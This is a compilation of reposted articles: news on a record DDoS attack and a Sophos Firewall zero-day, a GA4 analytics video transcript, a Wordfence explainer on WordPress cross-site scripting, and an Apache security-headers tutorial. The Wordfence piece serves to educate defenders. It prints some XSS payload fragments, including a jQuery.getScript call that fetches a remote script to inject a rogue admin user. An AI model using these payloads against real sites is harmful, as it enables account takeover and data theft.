Cybersecurity company Imperva has disclosed that it mitigated a distributed denial-of-service (DDoS) attack with a total of over 25.3 billion requests on June 27, 2022.

The “strong attack,” which targeted an unnamed Chinese telecommunications company, is said to have lasted for four hours and peaked at 3.9 million requests per second (RPS).

“Attackers used HTTP/2 multiplexing, or combining multiple packets into one, to send multiple requests at once over individual connections,” Imperva said in a report published on September 19.

The attack was launched from a botnet that comprised nearly 170,000 different IP addresses spanning routers, security cameras, and compromised servers located in more than 180 countries, primarily the U.S., Indonesia, and Brazil.

CyberSecurity

The disclosure also comes as web infrastructure provider Akamai said it fielded a new DDoS assault aimed at a customer based in Eastern Europe on September 12, with attack traffic spiking at 704.8 million packets per second (pps).

The same victim was previously targeted on July 21, 2022, in a similar fashion in which the attack volume ramped up to 853.7 gigabits per second (Gbps) and 659.6 million pps over a period of 14 hours.

Akamai’s Craig Sparling said the company has been “bombarded relentlessly with sophisticated distributed denial-of-service (DDoS) attacks,” indicating that the offensives could be politically motivated in the face of Russia’s ongoing war against Ukraine.

Both the disruptive attempts were UDP flood attacks where the attacker targets and overwhelms arbitrary ports on the target host with User Datagram Protocol (UDP) packets.

CyberSecurity

UDP, being both connectionless and session-less, makes it an ideal networking protocol for handling VoIP traffic. But these same traits can also render it more susceptible to exploitation.

“Without an initial handshake to ensure a legitimate connection, UDP channels can be used to send a large volume of traffic to any host,” NETSCOUT says.

“There are no internal protections that can limit the rate of a UDP flood. As a result, UDP flood DoS attacks are exceptionally dangerous because they can be executed with a limited amount of resources.”

Source :
https://thehackernews.com/2022/09/record-ddos-attack-with-253-billion.html

Hackers Exploited Zero-Day RCE Vulnerability in Sophos Firewall — Patch Released

Security software company Sophos has released a patch update for its firewall product after it was discovered that attackers were exploiting a new critical zero-day vulnerability to attack its customers’ network.

The issue, tracked as CVE-2022-3236 (CVSS score: 9.8), impacts Sophos Firewall v19.0 MR1 (19.0.1) and older and concerns a code injection vulnerability in the User Portal and Webadmin components that could result in remote code execution.

The company said it “has observed this vulnerability being used to target a small set of specific organizations, primarily in the South Asia region,” adding it directly notified these entities.

CyberSecurity

As a workaround, Sophos is recommending that users take steps to ensure that the User Portal and Webadmin are not exposed to WAN. Alternatively, users can update to the latest supported version –

  • v19.5 GA
  • v19.0 MR2 (19.0.2)
  • v19.0 GA, MR1, and MR1-1
  • v18.5 MR5 (18.5.5)
  • v18.5 GA, MR1, MR1-1, MR2, MR3, and MR4
  • v18.0 MR3, MR4, MR5, and MR6
  • v17.5 MR12, MR13, MR14, MR15, MR16, and MR17
  • v17.0 MR10

Users running older versions of Sophos Firewall are required to upgrade to receive the latest protections and the relevant fixes.

The development marks the second time a Sophos Firewall vulnerability has come under active attacks within a year. Earlier this March, another flaw (CVE-2022-1040) was used to target organizations in the South Asia region.

CyberSecurity

Then in June 2022, cybersecurity firm Volexity shared more details of the attack campaign, pinning the intrusions on a Chinese advanced persistent threat (APT) known as DriftingCloud.

Sophos firewall appliances have also previously come under attack to deploy what’s called the Asnarök trojan in an attempt to siphon sensitive information.

Source :
https://thehackernews.com/2022/09/hackers-actively-exploiting-new-sophos.html

Top 4 Things to Know About GA4 — Whiteboard Friday

In this week’s Whiteboard Friday, Dana brings you some details on the exciting new world of Google Analytics 4. Watch and learn how to talk about it when clients and coworkers are intimidated by the move.https://fast.wistia.net/embed/iframe/bmdz65umai?videoFoam=true

whiteboard outlining four insights into GA4

Click on the whiteboard image above to open a high resolution version in a new tab!

Video Transcription

Hi, my name is Dana DiTomaso. I’m President at Kick Point. And I am here today at MozCon 2022 to bring you some details on the exciting world of Google Analytics 4, which I know all of you are like, “Ugh, I don’t want to learn about analytics,” which is totally fair. I also did not want to learn about analytics.

And then I kind of learned about it whether I liked it or not. And you should, too, unfortunately. 

So I think the biggest thing about the move from Universal Analytics to GA4 is that people are like they log in and everything looks different. “I don’t like it.” And then they leave. And I agree the user interface in GA4 leaves a lot to be desired. I don’t think there’s necessarily been a lot of good education, especially for those of us who aren’t analysts on a day-to-day basis.

We’re not all data scientists. I’m not a data scientist. I do marketing. So what I’m hoping is I can tell you the things you should know about GA4 on just a basic sort of level, so that you have a better vocabulary to talk about it when people are horrified by the move to GA4, which is inevitable. It’s going to happen. You’ve got to get it on your site starting basically immediately, if you don’t already have it. So I started out with three things, and then I realized there was a fourth thing. So you get a bonus, exciting bonus, but we’ll start with the first three things. 

1. It’s different

So the first thing it’s different, which I know is obvious. Yes, of course, Dana it’s different. But it’s different. Okay, so in Universal Analytics, there were different types of hits that could go into analytics, which is where hits came from originally as a metric that people talked about. So, for example, in Universal Analytics, you could have a pageview, or you could have a transaction, or you could have an event.

And those were all different types of hits. In GA4, everything is an event. There is a pageview event. There is a transaction event. There is, well, an event event. I mean, you name the events whatever you want. And because of that, it’s actually a lot better way to report on your data.

So, for example, one of the things that I know people always wanted to be able to report on in Universal Analytics is what pages did people see and how did that relate to conversion rate. And that was really tricky because a pageview was something that was at the hit scope level, which means it was just like the individual thing that happened, whereas conversion rate is a session scoped thing.

So you couldn’t mash together a hit scope thing with pageview with conversion rate, which is session scoped. They just didn’t combine together unless you did some fancy blending stuff in Data Studio. And who’s got time for that? So now in GA4, because everything is an event, you have a lot more freedom with how you can slice and dice and interpret your data and figure out what pages do people engage with before they actually converted, or what was that path, not just the landing page, but the entire user journey on their path to conversion. So that part is really exciting. 

2. Engagement rate is not reverse bounce rate

Second thing, engagement rate is a new metric in GA4. They do have bounce rate. They did recently announce it. I’m annoyed at it, so we’re going to talk about this a little bit. Engagement rate is not reverse bounce rate. But it is in GA4.

So in Universal Analytics, bounce rate was a metric that people reported on all the time, even though they shouldn’t have. I hate bounce rate so much. Just picture like a dumpster fire GIF right now across your screen. I hate bounce rate. And why I hate bounce rate is it’s so easily faked. Let’s say, for example, your boss says to you, “Hey, you know what, the bounce rate on our site is too high. Could you fix it?”

You’re like, “Oh, yeah, boss. Totally.” And then what you do is whenever somebody comes on your website, you send what’s called an interactive event off to Google Analytics at the same time. And now you have a 0% bounce rate. Congratulations. You got a raise because you made it up. Bounce rate could absolutely be faked, no question. And so when we moved over to GA4, originally there was no bounce rate.

There was engagement rate. Engagement rate has its own issues, but it’s not measuring anything similar to what bounce rate was. Bounce rate in UA was an event didn’t happen. It didn’t matter if you spent an hour and a half on the page reading it closely. If you didn’t engage in an event that was an interactive event, that meant that you were still counted as a bounce when you left that page.

Whereas in GA4, an engage session is by default someone spending 10 seconds with that tab, that website open, so active in their browser, or they visited two pages, or they had a conversion. Now this 10-second rule I think is pretty short. Ten seconds is not necessarily a lot of time for someone to be engaged with the website.

So you might want to change that. It’s under the tagging settings in your data stream. So if you go to Admin and then you click on your data stream and you go to more tagging settings and then you go to session timeouts, you can change it in there. And I would recommend playing around with that and seeing what feels right to you. Now GA4 literally just as I’m filming this has announced bounce rate, which actually it is reverse engagement rate. Please don’t use it.

Instead, think about engagement rate, which I think is a much more usable metric than bounce rate was in UA. And I’m kind of excited that bounce rate in UA is going away because it was [vocalization]. 

3. Your data will not match

All right. So next thing, your data is not going to match. And this is stressful because you’ve been reporting on UA data for years, and now all of a sudden it’s not going to match and people will be like, “But you said there were 101 users, and today you’re saying there were actually 102. What’s the problem?”

So, I mean, if you have that kind of dialogue with your leadership, you really need to have a conversation about the idea of accuracy in analytics, as in it isn’t, and error and everything else. But I mean, really the data is going to be different, and sometimes it’s a lot different. It’s not just a little bit different. And it’s because GA4 measures stuff differently than UA did. There is a page on Google Analytics Help, which goes into it in depth. But here are some of the highlights that I think you should really know sort of off the top of your head when you’re talking to people about this. 

Pageviews and unique pageviews

So first thing, a pageview metric, which we’re all familiar with, in Universal Analytics, this was all pageviews, including repeats. In GA4, same, pageview is pageview. Great.

So far so good. Then we had unique pageviews in Universal Analytics, which was only single views per session. So if I looked at the homepage and then I went to a services page and I went back to the homepage, I would have two pageviews of the homepage for pageview. I would have one pageview of the homepage in unique pageviews. That metric does not exist in GA4. So that is something to really watch for is that if you were used to reporting on unique pageviews, that is gone.

So I recommend now changing your reports to sort of like walk people through this comfort level of getting them used to the fact they’re not going to get unique pageviews anymore. Or you can implement something that I talk about in another one of my Whiteboard Fridays about being able to measure the percentage of people who are reloading tabs and tab hoarders. You could work that into this a little bit.

Users

Okay. Next thing is users. Users is really I think a difficult topic for a lot of people to get their heads around because they think, oh, user, that means that if I’m on my laptop and then I go to my mobile device, obviously I am one user. You’re usually not, unfortunately. You don’t necessarily get associated across multiple devices. Or if you’re using say a privacy- focused browser, like Safari, you may not even be associated in the same device, which kind of sucks.

The real only way you can truly measure if someone is a user across multiple sessions is if you have a login on your website, which not everybody does. A lot of B2B sites don’t have logins. A lot of small business sites don’t have logins. So users is already kind of a sketchy metric. And so unfortunately it’s one that people used to report on a lot in Universal Analytics.

So in Universal Analytics, users was total users, new versus returning. In GA4, it’s now active users. What is an active user? The documentation is a little unclear on how Google considers an active user. So I recommend reading that in depth. Just know that this is going to be different. You never should have been reporting on new versus returning users anyway, unless you had a login on your site because it was such a sketchy, bad metric, but I don’t think a lot of people knew how bad it was.

It’s okay. Just start changing your reports now so that when you have to start using GA4, on July 1, 2023, for real UA is done, then at least it’s not so much of a shock when you do make that transition. 

Sessions

So one other thing to think about as well with the changes is sessions. So in Universal Analytics, a session was the active use of a site, so you’re clicking on stuff.

It had a 30-minute timeout. And you may have heard never to use UTM tags on internal links on your website. And the reason why is because if someone clicked on an internal link on your website that had UTMs on it, your session would reset. And so you would have what’s called session breaking, where all of a sudden you would have a session that basically started in the middle of your website with a brand-new campaign and source and medium and completely detached from the session that they just had.

They would be a returning user though. That’s great. You shouldn’t have been reporting that anyway. Whereas in GA4 instead, now there’s an event because, remember, everything is an event now. There is an event that is called session start. And so that records when, well, the session starts. And then there’s also a 30-minute timeout, but there is no UTM reset.

Now that doesn’t mean that you should go out there and start using UTMs on internal links. I still don’t think it’s a great idea, but it’s not necessarily going to break things the way that it used to. So you can now see where did someone start on my site by looking at the session start event. I don’t know if it’s necessarily 100% reliable. We’ve seen situations where if you’re using consent management tools, for example, like a cookie compliance tool, you can have issues with sessions starting and whatnot.

So just keep that in mind is that it’s not necessarily totally foolproof, but it is a really interesting way to see where people started on the site in a way that you could not do this before. 

4. Use BigQuery

So bonus, bonus before we go. All right, the fourth thing that I think you should know about GA4, use BigQuery. There’s a built-in BigQuery export under the settings for GA4. Use it.

The reason why you should use it is: (a) the reports in GA4 are not great, the default reports, they kind of suck; (b) even the explorations are a bit questionable, like you can’t really format them to look nice at all. So what I’m saying to people is don’t really use the reports inside GA4 for any sort of useful reporting purposes. It’s more like an ad hoc reporting. But even then, I would still turn to BigQuery for most of my reporting needs.

And the reason why is because GA4 has some thresholding applied. So you don’t necessarily get all the data out of GA4 when you’re actually looking at reports in it. And this happened to me actually just this morning before I recorded this Whiteboard Friday. I was looking to see how many people engaged with the form on our website, and because it was a relatively low number, it said zero.

And then I looked at the data in BigQuery and it said 12. That amount could be missing from the reports in GA4, but you can see it in BigQuery, and that’s because of the thresholding that’s applied. So I always recommend using the BigQuery data instead of the GA4 data. And in Google Data Studio, if that’s what you use for your reporting tool, the same issue applies when you use GA4 as a data source.

You have the same thresholding problems. So really just use BigQuery. And you don’t need to know BigQuery. All you need to do is get the data going into BigQuery and then open up Google Data Studio and use that BigQuery table as your data source. That’s really all you need to know. No SQL required. If you want to learn it, that’s neat.

I don’t even know it that well yet. But it is not something you have to know in order to report well on GA4. So I hope that you found this helpful and you can have a little bit more of a better dialogue with your team and your leadership about GA4. I know it seems rushed. It’s rushed. Let’s all admit it’s rushed, but I think it’s going to be a really good move. I’m really excited about the new kinds of data and the amounts of data that we can capture now in GA4.

It really frees us from like the category action label stuff that we were super tied to in Universal Analytics. We can record so much more interesting data now on every event. So I’m excited about that. The actual transition itself might be kind of painful, but then a year from now, we’ll all look back and laugh, right? Thank you very much.

Video transcription by Speechpad.com

About Dana DiTomaso —

Dana is a partner at Kick Point, where she applies marketing into strategies to grow clients’ businesses, in particular to ensure that digital and traditional play well together. With her deep experience in digital, Dana can separate real solutions from wastes of time (and budget).

Source :
https://moz.com/blog/top-things-to-know-about-ga4-whiteboard-friday

Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a malicious actor to take full control of an affected website. There are many types of vulnerabilities, including broken access control, misconfiguration, data integrity failures, and injection, among others. One type of injection vulnerability that is often underestimated, but can provide a wide range of threats to a website, is Cross-Site Scripting, also known as “XSS”. In a single 30-day period, Wordfence blocked a total of 31,153,743 XSS exploit attempts, making this one of the most common attack types we see.

XSS exploit attempts blocked per day

What is Cross-Site Scripting?

Cross-Site Scripting is a type of vulnerability that allows a malicious actor to inject code, usually JavaScript, into otherwise legitimate websites. The web browser being used by the website user has no way to determine that the code is not a legitimate part of the website, so it displays content or performs actions directed by the malicious code. XSS is a relatively well-known type of vulnerability, partially because some of its uses are visible on an affected website, but there are also “invisible” uses that can be much more detrimental to website owners and their visitors.

Without breaking XSS down into its various uses, there are three primary categories of XSS that each have different aspects that could be valuable to a malicious actor. The types of XSS are split into stored, reflected, and DOM-based XSS. Stored XSS also includes a sub-type known as blind XSS.

Stored Cross-Site Scripting could be considered the most nefarious type of XSS. These vulnerabilities allow exploits to be stored on the affected server. This could be in a comment, review, forum, or other element that keeps the content stored in a database or file either long-term or permanently. Any time a victim visits a location the script is rendered, the stored exploit will be executed in their browser.

An example of an authenticated stored XSS vulnerability can be found in version 4.16.5 or older of the Leaky Paywall plugin. This vulnerability allowed code to be entered into the Thousand Separator and Decimal Separator fields and saved in the database. Any time this tab was loaded, the saved code would load. For this example, we used the JavaScript onmouseover function to run the injected code whenever the mouse went over the text box, but this could easily be modified to onload to run the code as soon as the page loads, or even onclick so it would run when a user clicks a specified page element. The vulnerability existed due to a lack of proper input validation and sanitization in the plugin’s class.php file. While we have chosen a less-severe example that requires administrator permissions to exploit, many other vulnerabilities of this type can be exploited by unauthenticated attackers.

Example of stored XSS

Blind Cross-Site Scripting is a sub-type of stored XSS that is not rendered in a public location. As it is still stored on the server, this category is not considered a separate type of XSS itself. In an attack utilizing blind XSS, the malicious actor will need to submit their exploit to a location that would be accessed by a back-end user, such as a site administrator. One example would be a feedback form that submits feedback to the administrator regarding site features. When the administrator logs in to the website’s admin panel, and accesses the feedback, the exploit will run in the administrator’s browser.

This type of exploit is relatively common in WordPress, with malicious actors taking advantage of aspects of the site that provide data in the administrator panel. One such vulnerability was exploitable in version 13.1.5 or earlier of the WP Statistics plugin, which is designed to provide information on website visitors. If the Cache Compatibility option was enabled, then an unauthenticated user could visit any page on the site and grab the _wpnonce from the source code, and use that nonce in a specially crafted URL to inject JavaScript or other code that would run when statistics pages are accessed by an administrator. This vulnerability was the result of improper escaping and sanitization on the ‘platform’ parameter.

Example of blind XSS

Reflected Cross-Site Scripting is a more interactive form of XSS. This type of XSS executes immediately and requires tricking the victim into submitting the malicious payload themselves, often by clicking on a crafted link or visiting an attacker-controlled form. The exploits for reflected XSS vulnerabilities often use arguments added to a URL, search results, and error messages to return data back in the browser, or send data to a malicious actor. Essentially, the threat actor crafts a URL or form field entry to inject their malicious code, and the website will incorporate that code in the submission process for the vulnerable function. Attacks utilizing reflected XSS may require an email or message containing a specially crafted link to be opened by an administrator or other site user in order to obtain the desired result from the exploit. This XSS type generally involves some degree of social engineering in order to be successful and it’s worth noting that the payload is never stored on the server so the chance of success relies on the initial interaction with the user.

In January of 2022, the Wordfence team discovered a reflected XSS vulnerability in the Profile Builder – User Profile & User Registration Forms plugin. The vulnerability allowed for simple page modification, simply by specifically crafting a URL for the site. Here we generated an alert using the site_url parameter and updated the page text to read “404 Page Not Found” as this is a common error message that will not likely cause alarm but could entice a victim to click on the redirect link that will trigger the pop-up.

Example of reflected XSS

DOM-Based Cross-Site Scripting is similar to reflected XSS, with the defining difference being that the modifications are made entirely in the DOM environment. Essentially, an attack using DOM-based XSS does not require any action to be taken on the server, only in the victim’s browser. While the HTTP response from the server remains unchanged, a DOM-based XSS vulnerability can still allow a malicious actor to redirect a visitor to a site under their control, or even collect sensitive data.

One example of a DOM-based vulnerability can be found in versions older than 3.4.4 of the Elementor page builder plugin. This vulnerability allowed unauthenticated users to be able to inject JavaScript code into pages that had been edited using either the free or Pro versions of Elementor. The vulnerability was in the lightbox settings, with the payload formatted as JSON and encoded in base64.

Example of DOM-based XSS

How Does Cross-Site Scripting Impact WordPress Sites?

WordPress websites can have a number of repercussions from Cross-Site Scripting (XSS) vulnerabilities. Because WordPress websites are dynamically generated on page load, content is updated and stored within a database. This can make it easier for a malicious actor to exploit a stored or blind XSS vulnerability on the website which means an attacker often does not need to rely on social engineering a victim in order for their XSS payload to execute.

Using Cross-Site Scripting to Manipulate Websites

One of the most well-known ways that XSS affects WordPress websites is by manipulating the page content. This can be used to generate popups, inject spam, or even redirect a visitor to another website entirely. This use of XSS provides malicious actors with the ability to make visitors lose faith in a website, view ads or other content that would otherwise not be seen on the website, or even convince a visitor that they are interacting with the intended website despite being redirected to a look-alike domain or similar website that is under the control of of the malicious actor.

When testing for XSS vulnerabilities, security researchers often use a simple method such as alert() prompt() or print() in order to test if the browser will execute the method and display the information contained in the payload. This typically looks like the following and generally causes little to no harm to the impacted website:

Example of XSS popup

This method can also be used to prompt a visitor to provide sensitive information, or interact with the page in ways that would normally not be intended and could lead to damage to the website or stolen information.

One common type of XSS payload we see when our team performs site cleanings is a redirect. As previously mentioned, XSS vulnerabilities can utilize JavaScript to get the browser to perform actions. In this case an attacker can utilize the window.location.replace() method or other similar method in order to redirect the victim to another site. This can be used by an attacker to redirect a site visitor to a separate malicious domain that could be used to further infect the victim or steal sensitive information.

In this example, we used onload=location.replace("https://wordfence.com") to redirect the site to wordfence.com. The use of onload means that the script runs as soon as the element of the page that the script is attached to loads. Generating a specially crafted URL in this manner is a common method used by threat actors to get users and administrators to land on pages under the actor’s control. To further hide the attack from a potential victim, the use of URL encoding can modify the appearance of the URL to make it more difficult to spot the malicious code. This can even be taken one step further in some cases by slightly modifying the JavaScript and using character encoding prior to URL encoding. Character encoding helps bypass certain character restrictions that may prevent an attack from being successful without first encoding the payload.

Example of XSS redirect

When discussing manipulation of websites, it is hard to ignore site defacements. This is the most obvious form of attack on a website, as it is often used to replace the intended content of the website with a message from the bad actor. This is often accomplished by using JavaScript to force the bad actor’s intended content to load in place of the original site content. Utilizing JavaScript functions like document.getElementByID() or window.location() it is possible to replace page elements, or even the entire page, with new content. Defacements require a stored XSS vulnerability, as the malicious actor would want to ensure that all site visitors see the defacement.

Example of XSS defacement

This is, of course, not the only way to deface a website. A defacement could be as simple as modifying elements of the page, such as changing the background color or adding text to the page. These are accomplished in much the same way, by using JavaScript to replace page elements.

Stealing Data With Cross-Site Scripting

XSS is one of the easier vulnerabilities a malicious actor can exploit in order to steal data from a website. Specially crafted URLs can be sent to administrators or other site users to add elements to the page that send form data to the malicious actor as well as, or instead of, the intended location of the data being submitted on the website under normal conditions.

The cookies generated by a website can contain sensitive data or even allow an attacker to access an authenticated user’s account directly. One of the simplest methods of viewing the active cookies on a website is to use the document.cookie JavaScript function to list all cookies. In this example, we sent the cookies to an alert box, but they can just as easily be sent to a server under the attacker’s control, without even being noticeable to the site visitor.

Example of stealing cookies with XSS

While form data theft is less common, it can have a significant impact on site owners and visitors. The most common way this would be used by a malicious actor is to steal credit card information. It is possible to simply send input from a form directly to a server under the bad actor’s control, however it is much more common to use a keylogger. Many payment processing solutions embed forms from their own sites, which typically cannot be directly accessed by JavaScript running in the context of an infected site. The use of a keylogger helps ensure that usable data will be received, which may not always be the case when simply collecting form data as it is submitted to the intended location.

Here we used character encoding to obfuscate the JavaScript keystroke collector, as well as to make it easy to run directly from a maliciously crafted link. This then sends collected keystrokes to a server under the threat actor’s control, where a PHP script is used to write the collected keystrokes to a log file. This technique could be used as we did here to target specific victims, or a stored XSS vulnerability could be taken advantage of in order to collect keystrokes from any site visitor who visits a page that loads the malicious JavaScript code. In either use-case, a XSS vulnerability must exist on the target website.

Example of XSS form theft

If this form of data theft is used on a vulnerable login page, a threat actor could easily gain access to usernames and passwords that could be used in later attacks. These attacks could be against the same website, or used in credential stuffing attacks against a variety of websites such as email services and financial institutions.

Taking Advantage of Cross-Site Scripting to Take Over Accounts

Perhaps one of the most dangerous types of attacks that are possible through XSS vulnerabilities is an account takeover. This can be accomplished through a variety of methods, including the use of stolen cookies, similar to the example above. In addition to simply using cookies to access an administrator account, malicious actors will often create fake administrator accounts under their control, and may even inject backdoors into the website. Backdoors then give the malicious actor the ability to perform further actions at a later time.

If a XSS vulnerability exists on a site, injecting a malicious administrator user can be light work for a threat actor if they can get an administrator of a vulnerable website to click a link that includes an encoded payload, or if another stored XSS vulnerability can be exploited. In this example we injected the admin user by pulling the malicious code from a web-accessible location, using a common URL shortener to further hide the true location of the malicious location. That link can then be utilized in a specially crafted URL, or injected into a vulnerable form with something like onload=jQuery.getScript('https://bit.ly/<short_code>'); to load the script that injects a malicious admin user when the page loads.

Example of adding a malicious admin user with XSS

Backdoors are a way for a malicious actor to retain access to a website or system beyond the initial attack. This makes backdoors very useful for any threat actor that intends to continue modifying their attack, collect data over time, or regain access if an injected malicious admin user is removed by a site administrator. While JavaScript running in an administrator’s session can be used to add PHP backdoors to a website by editing plugin or theme files, it is also possible to “backdoor” a visitor’s browser, allowing an attacker to run arbitrary commands as the victim in real time. In this example, we used a JavaScript backdoor that could be connected to from a Python shell running on a system under the threat actor’s control. This allows the threat actor to run commands directly in the victim’s browser, allowing the attacker to directly take control of it, and potentially opening up further attacks to the victim’s computer depending on whether the browser itself has any unpatched vulnerabilities.

Often, a backdoor is used to retain access to a website or server, but what is unique about this example is the use of a XSS vulnerability in a website in order to gain access to the computer being used to access the affected website. If a threat actor can get the JavaScript payload to load any time a visitor accesses a page, such as through a stored XSS vulnerability, then any visitor to that page on the website becomes a potential victim.

Example of a XSS backdoor

Tools Make Light Work of Exploits

There are tools available that make it easy to exploit vulnerabilities like Cross-Site Scripting (XSS). Some tools are created by malicious actors for malicious actors, while others are created by cybersecurity professionals for the purpose of testing for vulnerabilities in order to prevent the possibility of an attack. No matter what the purpose of the tool is, if it works malicious actors will use it. One such tool is a freely available penetration testing tool called BeEF. This tool is designed to work with a browser to find client-side vulnerabilities in a web app. This tool is great for administrators, as it allows them to easily test their own webapps for XSS and other client-side vulnerabilities that may be present. The flip side of this is that it can also be used by threat actors looking for potential attack targets.

One thing that is consistent in all of these exploits is the use of requests to manipulate the website. These requests can be logged, and used to block malicious actions based on the request parameters and the strings contained within the request. The one exception is that DOM-based XSS cannot be logged on the web server as these are processed entirely within the victim’s browser. The request parameters that malicious actors typically use in their requests are often common fields, such as the WordPress search parameter of $_GET[‘s’] and are often just guesswork hoping to find a common parameter with an exploitable vulnerability. The most common request parameter we have seen threat actors attempting to attack recently is $_GET[‘url’] which is typically used to identify the domain name of the server the website is loaded from.

Top 10 parameters in XSS attacks

Conclusion

Cross-Site Scripting (XSS) is a powerful, yet often underrated, type of vulnerability, at least when it comes to WordPress instances. While XSS has been a long-standing vulnerability in the OWASP Top 10, many people think of it only as the ability to inject content like a popup, and few realize that a malicious actor could use this type of vulnerability to inject spam into a web page or redirect a visitor to the website of their choice, convince a site visitor to provide their username and password, or even take over the website with relative ease all thanks to the capabilities of JavaScript and working knowledge of the backend platform.

One of the best ways to protect your website against XSS vulnerabilities is to keep WordPress and all of your plugins updated. Sometimes attackers target a zero-day vulnerability, and a patch is not available immediately, which is why the Wordfence firewall comes with built-in XSS protection to protect all Wordfence users, including FreePremiumCare, and Response, against XSS exploits. If you believe your site has been compromised as a result of a XSS vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

Source :
https://www.wordfence.com/blog/2022/09/cross-site-scripting-the-real-wordpress-supervillain/

Seven Important Security Headers for Your Website

When it comes to securing your website, it’s all about minimizing attack surface and adding more layers of security. One strong layer that you can (and should) add is proper HTTP security headers. When responding to requests, your server should include security headers that help stop unwanted activity like XSS, MITM, and click-jacking attacks. While sending security headers does not guarantee 100% defense against all such attacks, it does help modern browsers keep things secure. So in this tutorial, we walk through seven of the most important and effective HTTP security headers to add a strong layer of security to your Apache-powered website.

Contents

Note: You can verify your site’s security headers using a free online tool such as the one provided by SecurityHeaders.com.

X-XSS-Protection

The X-XSS-Protection security header enables the XSS filter provided by modern web browsers (IE8+, Chrome, Firefox, Safari, et al). Here is the recommended configuration for this header:

# X-XSS-Protection
<IfModule mod_headers.c>
	Header set X-XSS-Protection "1; mode=block"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to block any requests containing malicious scripts. For more configuration options and further information about X-XSS-Protection, check out these resources:

X-Frame-Options

The X-Frame-Options (XFO) security header helps modern web browsers protect your visitors against clickjacking and other threats. Here is the recommended configuration for this header:

# X-Frame-Options
<IfModule mod_headers.c>
	Header set X-Frame-Options "SAMEORIGIN"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to block any frames/content requested from external locations. So if your own site includes an iframe that loads a resources from the same domain, the content will load normally. But if any iframe is included that loads resources from any other domain, the content will be blocked. For more configuration options and further information about X-Frame-Options, check out these resources:

X-Content-Type-Options

The X-Content-Type-Options security header enables supportive browsers to protect against MIME-type sniffing exploits. It does this by disabling the browser’s MIME sniffing feature, and forcing it to recognize the MIME type sent by the server. This header is very flexible and may be configured extensively, however the most common implementation looks like this:

# X-Content-Type-Options
<IfModule mod_headers.c>
	Header set X-Content-Type-Options "nosniff"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to use the MIME type declared by the origin server. There are a couple of precautions to keep in mind. First, as with any security header, it does not stop 100% of all attacks or threats; it does stop some of them, however, and thus provides another layer of protection for your site. Also note that this header currently is supported only in Chrome and later versions of Internet Explorer. Hopefully other browsers will add support in the future. For more configuration options and further information about X-Content-Type-Options, check out these resources:

Strict-Transport-Security

The Strict-Transport-Security (HSTS) header instructs modern browsers to always connect via HTTPS (secure connection via SSL/TLS), and never connect via insecure HTTP (non-SSL) protocol. While there are variations to how this header is configured, the most common implementation looks like this:

# Strict-Transport-Security
<IfModule mod_headers.c>
	Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to always use HTTPS for connections. This helps stop man-in-the-middle (MITM) and other attacks targeting insecure HTTP connections. For more configuration options and further information about Strict-Transport-Security, check out these resources:

Referrer-Policy

The Referrer-Policy security header instructs modern browsers how to handle or exclude the Referer header (yes the header normally is spelled incorrectly, missing an “r”). For those who may not be familiar, the Referer header contains information about where a request is coming from. So for example if you are at example.com and click a link from there to domain.tld, the Referer header would specify example.com as the “referring” URL.

With that in mind, the Referrer-Policy enables you to control whether or not the Referer header is included with the request. Here is an example showing how to add the Referrer-Policy header via Apache:

# Referrer-Policy
<IfModule mod_headers.c>
	Header set Referrer-Policy "same-origin"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to only set the referrer header for request from the current domain (same-origin). Keep in mind that this header is less about security and more about controlling referrer information, as is required by various rules and regulations (e.g., GDPR). For more configuration options and further information about Referrer-Policy, check out these resources:

Feature-Policy

The Feature-Policy header tells modern browsers which browser features are allowed. For example, if you want to ensure that only geolocation and vibrate features are allowed, you can configure the Feature-Policy header accordingly. It also enables you to control the origin for each specified feature. Here is an example showing how to add a Feature-Policy header via Apache:

# Feature-Policy
<IfModule mod_headers.c>
	Header set Feature-Policy "geolocation 'self'; vibrate 'none'"
</IfModule>

Added to your site’s .htaccess file or server configuration file, this code instructs supportive browsers to enable only geo-location and vibrate features. Keep in mind that this header is less about security and more about ensuring a smooth experience for your users. For more configuration options and further information about Feature-Policy, check out these resources:

Content-Security-Policy

The Content-Security-Policy (CSP) header tells modern browsers which dynamic resources are allowed to load. This header is especially helpful at stopping XSS attacks and other malicious activity. This header provides extensive configuration options, which will need to be fine-tuned to match the specific resources required by your site. Otherwise if the header configuration does not match your site’s requirements, some resources may not load (or work) properly.

Because of this, there isn’t one most common example to look at. So instead here are a few different examples, each allowing different types of resources.

Example 1

First example, here is a CSP directive that allows resources from a CDN, and disallows any framed content or media plugins. This example is from the Google docs page linked below.

# Content-Security-Policy - Example 1
<IfModule mod_headers.c>
	Header set Content-Security-Policy "default-src https://cdn.example.com; child-src 'none'; object-src 'none'"
</IfModule>

Example 2

Second example, this CSP directive enables script resources loaded from a jQuery subdomain, and limits stylesheets and images to the current domain (self). This example is from the Mozilla docs page linked below.

# Content-Security-Policy - Example 2
<IfModule mod_headers.c>
	Header set Content-Security-Policy "default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'"
</IfModule>

Example 3

And for a third example, here is the directive I use on most of my WordPress-powered sites. Logically these sites tend to use the same types of resources, so I can keep things simple and use the following code on all sites:

# Content-Security-Policy - Example 3
<IfModule mod_headers.c>
	Header set Content-Security-Policy "default-src https:; font-src https: data:; img-src https: data:; script-src https:; style-src https:;"
</IfModule>

To get a better idea of what’s happening here, let’s apply a bit of formatting to the code:

Header set Content-Security-Policy "

default-src https:; 
font-src    https: data:; 
img-src     https: data:; 
script-src  https:; 
style-src   https:;

"

Stare at that for a few moments and you should get the idea: the header is setting the allowed source(s) for fonts, images, scripts, and styles. For each of these, a secure HTTPS connection is required. The only exception is also to allow data URIs as a source for fonts and images.

